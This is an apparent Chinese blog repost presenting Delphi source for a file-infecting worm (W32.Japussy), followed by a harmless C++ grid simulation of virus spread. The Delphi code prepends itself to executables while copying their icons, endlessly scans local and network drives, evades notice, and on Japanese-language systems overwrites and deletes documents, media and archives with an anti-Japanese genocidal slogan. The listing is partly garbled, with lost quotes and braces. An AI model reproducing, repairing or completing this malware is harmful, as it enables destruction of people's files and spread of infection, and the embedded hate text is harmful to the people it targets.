熊猫烧香病毒-源码学习

Posted mysky007

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了熊猫烧香病毒-源码学习相关的知识,希望对你有一定的参考价值。

  1 program Japussy;
  2 uses
  3 Windows, SysUtils, Classes, Graphics, ShellAPI..., Registry;
  4 const
  5 HeaderSize = 82432;             //病毒体的大小
  6 IconOffset = $12EB8;           //PE文件主图标的偏移量
  7 
  8 //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
  9 //查找2800000020的十六进制字符串可以找到主图标的偏移量
 10   
 11 ...
 12 HeaderSize = 38912;             //Upx压缩过病毒体的大小
 13 IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量
 14 
 15 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
 16 
 17 IconSize   = $2E8;             //PE文件主图标的大小--744字节
 18 IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
 19 ID       = $44444444;         //感染标记
 20 
 21 //垃圾码,以备写入
 22 Catchword = If a race need to be killed out, it must be Yamato.  +
 23         If a country need to be destroyed, it must be Japan!  +
 24         *** W32.Japussy.Worm.A ***;
 25 ...$R *.RES
 26 function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 
 27 stdcall; external Kernel32.dll; //函数声明
 28 var
 29 TmpFile: string;
 30 Si:     STARTUPINFO;
 31 Pi:     PROCESS_INFORMATION;
 32 IsJap:   Boolean = False; //日文操作系统标记
 33 ... 判断是否为Win9x 
 34 function IsWin9x: Boolean;
 35 var
 36 Ver: TOSVersionInfo;
 37 begin
 38 Result := False;
 39 Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
 40 if not GetVersionEx(Ver) then
 41   Exit;
 42 if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
 43   Result := True;
 44 end;
 45 ... 在流之间复制 
 46 procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
 47 dStartPos: Integer; Count: Integer);
 48 var
 49 sCurPos, dCurPos: Integer;
 50 begin
 51 sCurPos := Src.Position;
 52 dCurPos := Dst.Position;
 53 Src.Seek(sStartPos, 0);
 54 Dst.Seek(dStartPos, 0);
 55 Dst.CopyFrom(Src, Count);
 56 Src.Seek(sCurPos, 0);
 57 Dst.Seek(dCurPos, 0);
 58 end;
 59 ... 将宿主文件从已感染的PE文件中分离出来,以备使用 
 60 procedure ExtractFile(FileName: string);
 61 var
 62 sStream, dStream: TFileStream;
 63 begin
 64 try
 65   sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 66   try
 67     dStream := TFileStream.Create(FileName, fmCreate);
 68     try
 69     sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
 70     dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
 71     finally
 72     dStream.Free;
 73     end;
 74   finally
 75     sStream.Free;
 76   end;
 77 except
 78 end;
 79 end;
 80 ... 填充STARTUPINFO结构 
 81 procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
 82 begin
 83 Si.cb := SizeOf(Si);
 84 Si.lpReserved := nil;
 85 Si.lpDesktop := nil;
 86 Si.lpTitle := nil;
 87 Si.dwFlags := STARTF_USESHOWWINDOW;
 88 Si.wShowWindow := State;
 89 Si.cbReserved2 := 0;
 90 Si.lpReserved2 := nil;
 91 end;
 92 ... 发带毒邮件 
 93 procedure SendMail;
 94 begin
 95 //哪位仁兄愿意完成之?
 96 end;
 97 ... 感染PE文件 
 98 procedure InfectOneFile(FileName: string);
 99 var
100 HdrStream, SrcStream: TFileStream;
101 IcoStream, DstStream: TMemoryStream;
102 iID: LongInt;
103 aIcon: TIcon;
104 Infected, IsPE: Boolean;
105 i: Integer;
106 Buf: array[0..1] of Char;
107 begin
108 try //出错则文件正在被使用,退出
109   if CompareText(FileName, JAPUSSY.EXE) = 0 then //是自己则不感染
110     Exit;
111   Infected := False;
112   IsPE   := False;
113   SrcStream := TFileStream.Create(FileName, fmOpenRead);
114   try
115     for i := 0 to $108 do //检查PE文件头
116     begin
117     SrcStream.Seek(i, soFromBeginning);
118     SrcStream.Read(Buf, 2);
119     if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
120     begin
121       IsPE := True; //是PE文件
122       Break;
123     end;
124     end;
125     SrcStream.Seek(-4, soFromEnd); //检查感染标记
126     SrcStream.Read(iID, 4);
127     if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
128     Infected := True;
129   finally
130     SrcStream.Free;
131   end;
132   if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
133     Exit;
134   IcoStream := TMemoryStream.Create;
135   DstStream := TMemoryStream.Create;
136   try
137     aIcon := TIcon.Create;
138     try
139     //得到被感染文件的主图标(744字节),存入流
140     aIcon.ReleaseHandle;
141     aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
142     aIcon.SaveToStream(IcoStream);
143     finally
144     aIcon.Free;
145     end;
146     SrcStream := TFileStream.Create(FileName, fmOpenRead);
147     //头文件
148     HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
149     try
150     //写入病毒体主图标之前的数据
151     CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
152     //写入目前程序的主图标
153     CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
154     //写入病毒体主图标到病毒体尾部之间的数据
155     CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
156     //写入宿主程序
157     CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
158     //写入已感染的标记
159     DstStream.Seek(0, 2);
160     iID := $44444444;
161     DstStream.Write(iID, 4);
162     finally
163     HdrStream.Free;
164     end;
165   finally
166     SrcStream.Free;
167     IcoStream.Free;
168     DstStream.SaveToFile(FileName); //替换宿主文件
169     DstStream.Free;
170   end;
171 except;
172 end;
173 end;
174 ... 将目标文件写入垃圾码后删除 
175 procedure SmashFile(FileName: string);
176 var
177 FileHandle: Integer;
178 i, Size, Mass, Max, Len: Integer;
179 begin
180 try
181   SetFileAttributes(PChar(FileName), 0); //去掉只读属性
182   FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
183   try
184     Size := GetFileSize(FileHandle, nil); //文件大小
185     i := 0;
186     Randomize;
187     Max := Random(15); //写入垃圾码的随机次数
188     if Max < 5 then
189     Max := 5;
190     Mass := Size div Max; //每个间隔块的大小
191     Len := Length(Catchword);
192     while i < Max do
193     begin
194     FileSeek(FileHandle, i * Mass, 0); //定位
195     //写入垃圾码,将文件彻底破坏掉
196     FileWrite(FileHandle, Catchword, Len);
197     Inc(i);
198     end;
199   finally
200     FileClose(FileHandle); //关闭文件
201   end;
202   DeleteFile(PChar(FileName)); //删除之
203 except
204 end;
205 end;
206 ... 获得可写的驱动器列表 
207 function GetDrives: string;
208 var
209 DiskType: Word;
210 D: Char;
211 Str: string;
212 i: Integer;
213 begin
214 for i := 0 to 25 do //遍历26个字母
215 begin
216   D := Chr(i + 65);
217   Str := D + :;
218   DiskType := GetDriveType(PChar(Str));
219   //得到本地磁盘和网络盘
220   if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
221     Result := Result + D;
222 end;
223 end;
224 ... 遍历目录,感染和摧毁文件 
225 procedure LoopFiles(Path, Mask: string);
226 var
227 i, Count: Integer;
228 Fn, Ext: string;
229 SubDir: TStrings;
230 SearchRec: TSearchRec;
231 Msg: TMsg;
232 function IsValidDir(SearchRec: TSearchRec): Integer;
233 begin
234   if (SearchRec.Attr <> 16) and (SearchRec.Name <> .) and
235     (SearchRec.Name <> ..) then
236     Result := 0 //不是目录
237   else if (SearchRec.Attr = 16) and (SearchRec.Name <> .) and
238     (SearchRec.Name <> ..) then
239     Result := 1 //不是根目录
240   else Result := 2; //是根目录
241 end;
242 begin
243 if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
244 begin
245   repeat
246     PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
247     if IsValidDir(SearchRec) = 0 then
248     begin
249     Fn := Path + SearchRec.Name;
250     Ext := UpperCase(ExtractFileExt(Fn));
251     if (Ext = .EXE) or (Ext = .SCR) then
252     begin
253       InfectOneFile(Fn); //感染可执行文件     
254     end
255     else if (Ext = .HTM) or (Ext = .html) or (Ext = .ASP) then
256     begin
257       //感染HTML和ASP文件,将Base64编码后的病毒写入
258       //感染浏览此网页的所有用户
259       //哪位大兄弟愿意完成之?
260     end
261     else if Ext = .WAB then //Outlook地址簿文件
262     begin
263       //获取Outlook邮件地址
264     end
265     else if Ext = .ADC then //Foxmail地址自动完成文件
266     begin
267       //获取Foxmail邮件地址
268     end
269     else if Ext = IND then //Foxmail地址簿文件
270     begin
271       //获取Foxmail邮件地址
272     end
273     else 
274     begin
275       if IsJap then //是倭文操作系统
276       begin
277         if (Ext = .DOC) or (Ext = .XLS) or (Ext = .MDB) or
278         (Ext = .MP3) or (Ext = .RM) or (Ext = .RA) or
279         (Ext = .WMA) or (Ext = .ZIP) or (Ext = .RAR) or
280         (Ext = .MPEG) or (Ext = .ASF) or (Ext = .JPG) or
281         (Ext = .JPEG) or (Ext = .GIF) or (Ext = .SWF) or
282         (Ext = .PDF) or (Ext = .CHM) or (Ext = .AVI) then
283           SmashFile(Fn); //摧毁文件
284       end;
285     end;
286     end;
287     //感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
288     Sleep(200);
289   until (FindNext(SearchRec) <> 0);
290 end;
291 FindClose(SearchRec);
292 SubDir := TStringList.Create;
293 if (FindFirst(Path + *.*, faDirectory, SearchRec) = 0) then
294 begin
295   repeat
296     if IsValidDir(SearchRec) = 1 then
297     SubDir.Add(SearchRec.Name);
298   until (FindNext(SearchRec) <> 0);
299   end;
300 FindClose(SearchRec);
301 Count := SubDir.Count - 1;
302 for i := 0 to Count do
303   LoopFiles(Path + SubDir.Strings + ‘‘, Mask);
304 FreeAndNil(SubDir);
305 end;
306 ... 遍历磁盘上所有的文件 
307 procedure InfectFiles;
308 var
309 DriverList: string;
310 i, Len: Integer;
311 begin
312 if GetACP = 932 then //日文操作系统
313   IsJap := True; //去死吧!
314 DriverList := GetDrives; //得到可写的磁盘列表
315 Len := Length(DriverList);
316 while True do //死循环
317 begin
318   for i := Len downto 1 do //遍历每个磁盘驱动器
319     LoopFiles(DriverList + :, *.*); //感染之
320   SendMail; //发带毒邮件
321   Sleep(1000 * 60 * 5); //睡眠5分钟
322 end;
323 end;
324 ... 主程序开始 
325 begin
326 if IsWin9x then //是Win9x
327   RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
328 else //WinNT
329 begin
330   //远程线程映射到Explorer进程
331   //哪位兄台愿意完成之?
332 end;
333 //如果是原始病毒体自己
334 if CompareText(ExtractFileName(ParamStr(0)), Japussy.exe) = 0 then
335   InfectFiles //感染和发邮件
336 else //已寄生于宿主程序上了,开始工作
337 begin
338   TmpFile := ParamStr(0); //创建临时文件
339   Delete(TmpFile, Length(TmpFile) - 4, 4);
340   TmpFile := TmpFile + #32 + .exe; //真正的宿主文件,多一个空格
341   ExtractFile(TmpFile); //分离之
342   FillStartupInfo(Si, SW_SHOWDEFAULT);
343   CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
344     0, nil, ., Si, Pi); //创建新进程运行之
345   InfectFiles; //感染和发邮件
346 end;
347 end.

下面是C++版本

#include<iostream>
#include<time.h>
#include<windows.h>
using namespace std;
#define MAXNODE 100
#define MAXVER 100  //病毒类型种类的最大值

 
typedef struct VertexType //一台电脑的信息

    int day;//第几天感染的
    int dl;//防御级别
    int r,c;//行列号
    int vt;// 病毒类型
    
VertexType;

typedef struct MGraph //整个图的构造
   
    VertexType m[MAXNODE][MAXNODE];
    int row,colum ,num;//行列数,感染的数目
MGraph;

void virspread(VertexType v,int nowday);


MGraph mg ;//定义

void MGraphInit()//初始化

    int i,j;
    for(i=0;i<mg.row;i++)
        for(j=0;j<mg.colum;j++)
        
            mg.m[i][j].vt =0;
            mg.m[i][j].dl=0;
            mg.m[i][j].day=0;
            mg.num=0;
            mg.m[i][j].r=i;
            mg.m[i][j].c=j;
            


void MGraphCreat()//创建图,邻接矩阵

    MGraphInit();
    srand( (unsigned)time( NULL ) );
    cout<<"请逐行输入"<<endl;
    int i,j;
    
    for(i=0;i<mg.row;i++)
    
        //cout<<"输入第"<<i+1<<"行:"<<endl;
        for(j=0;j<mg.colum;j++)
        
            int a;
            //cin>>a;
            a=(10-rand()%20);
            if(a==0)
            
                a=a+1;
            
    
            if(a>0) 
               
                mg.m[i][j].vt=a;
            
            else 
            
                mg.m[i][j].dl=0-a;          
            
            //if
        //for
    
    int k=(mg.row+mg.colum)/2;
    int h=(mg.row+mg.colum)/3;
    mg.m[k][k].vt=1;//确保有一台机器已经被感染
    mg.m[h][h].dl=3;//确保有一台机器没有被感染
//MGraphCreat


void vir()    //依次寻找病毒并调用函数virspread(mg.m[i][j],nowday);进行病毒的传播
  
    int virtype=1;
    int i,j;
    int nowday=1;
      
    while(mg.num<(mg.row*mg.colum))
     
        mg.num=0;
        while(virtype<=MAXVER)
        
            for(i=0;i<mg.row;i++)
                
              for(j=0;j<mg.colum;j++)
             
                if(mg.m[i][j].vt==virtype)
                                  
                    virspread(mg.m[i][j],nowday);                    
                                
            
        virtype++; 
        
        for(i=0;i<mg.row;i++)
            for(j=0;j<mg.colum;j++)
                if((mg.m[i][j].vt)>0) 
                    mg.num++;
   /***********显示每天的感染情况*********/
                Sleep(3000);  //停顿3s
                system("cls"); //清屏
                cout<<""<<nowday<<"天情况为:"<<endl;
                 for(i=0;i<mg.row;i++)
                 
                      for(j=0;j<mg.colum;j++)
                    
                        if(mg.m[i][j].vt!=0)
                         cout<<mg.m[i][j].vt<<""<<"  ";
                        else
                       cout<<(0-mg.m[i][j].dl)<<""<<"  ";
                    
                    cout<<endl;         
                 
                     cout<<endl;
   /***********显示每天的感染情况*********/
        nowday++;
        virtype=1;        
    
    


void virspread(VertexType v,int _nowday)   //病毒传播函数
    
    VertexType qv[4*MAXNODE];
    int front = 0,rear = 1;
    qv[1] = v;
    while(front<=rear)// ↑,←,↓,——>四个方向进行传播
    
        v=qv[++front];
        if(v.r-1>=0&&mg.m[v.r-1][v.c].vt==0&&mg.m[v.r-1][v.c].dl<=_nowday)            
            
               
                mg.m[v.r-1][v.c].vt=v.vt;
                qv[++rear]=mg.m[v.r-1][v.c];
            
        if(v.c-1>=0&&mg.m[v.r][v.c-1].vt==0&&mg.m[v.r][v.c-1].dl<=_nowday)
        
          
            mg.m[v.r][v.c-1].vt=v.vt;
            qv[++rear]=mg.m[v.r][v.c-1];
        
        if(v.r+1<mg.row&&mg.m[v.r+1][v.c].vt==0&&mg.m[v.r+1][v.c].dl<=_nowday)
        
          
            mg.m[v.r+1][v.c].vt=v.vt;
            qv[++rear]=mg.m[v.r+1][v.c];
        
        if(v.c+1<mg.colum&&mg.m[v.r][v.c+1].vt==0&&mg.m[v.r][v.c+1].dl<=_nowday)
        
           
            mg.m[v.r][v.c+1].vt=v.vt;
            qv[++rear]=mg.m[v.r][v.c+1];
        
    
    


int main()

    
    int i,j;
    int k;
    int a[MAXNODE];
    cout<<"输入行列数目"<<endl;
    cout<<"行:";cin>>mg.row;
    cout<<"列:";cin>>mg.colum;    //输入行列数目
    
    MGraphCreat();  
    cout<<"你的输入为:"<<endl;
    for(i=0;i<mg.row;i++)
    
        for(j=0;j<mg.colum;j++)
        
            if(mg.m[i][j].vt!=0)
                cout<<mg.m[i][j].vt<<"  ";
            else
            cout<<(0-mg.m[i][j].dl)<<"  ";
        
        cout<<endl;         
    
    cout<<endl;

    Sleep(3000);  //停顿3s
    system("cls"); //清屏

    cout<<"图形表示为:"<<endl;
    for(i=0;i<mg.row;i++)
    
        for(j=0;j<mg.colum;j++)
        
            if(mg.m[i][j].vt!=0)
                 cout<<mg.m[i][j].vt<<""<<"  ";
            else
                cout<<(0-mg.m[i][j].dl)<<""<<"  ";
        
        cout<<endl;         
    
    cout<<endl;
    
    vir();    
    for(int m=1;m<MAXNODE-1;m++)
        a[m]=0;
    for(i=0;i<mg.row;i++)    
        for(j=0;j<mg.colum;j++)
            a[mg.m[i][j].vt]++;

        //Sleep(3000);  //停顿3s
        //system("cls"); //清屏

        cout<<"感染完后的变种的数目:"<<endl; 
    for(k=1;k<MAXNODE-1;k++)
        if(a[k]!=0)
            cout<<"变种类型为 "<<k<<"的变种数目是:"<<a[k]<<endl;
        
    return 0;
//main

 

以上是关于熊猫烧香病毒-源码学习的主要内容,如果未能解决你的问题,请参考以下文章

熊猫烧香病毒分析

熊猫烧香病毒分析

练手之经典病毒熊猫烧香分析(上)

什么是“熊猫烧香”啊

白话科普从“熊猫烧香”聊聊计算机病毒

病毒分析-利用Process Monitor对熊猫烧香病毒进行行为分析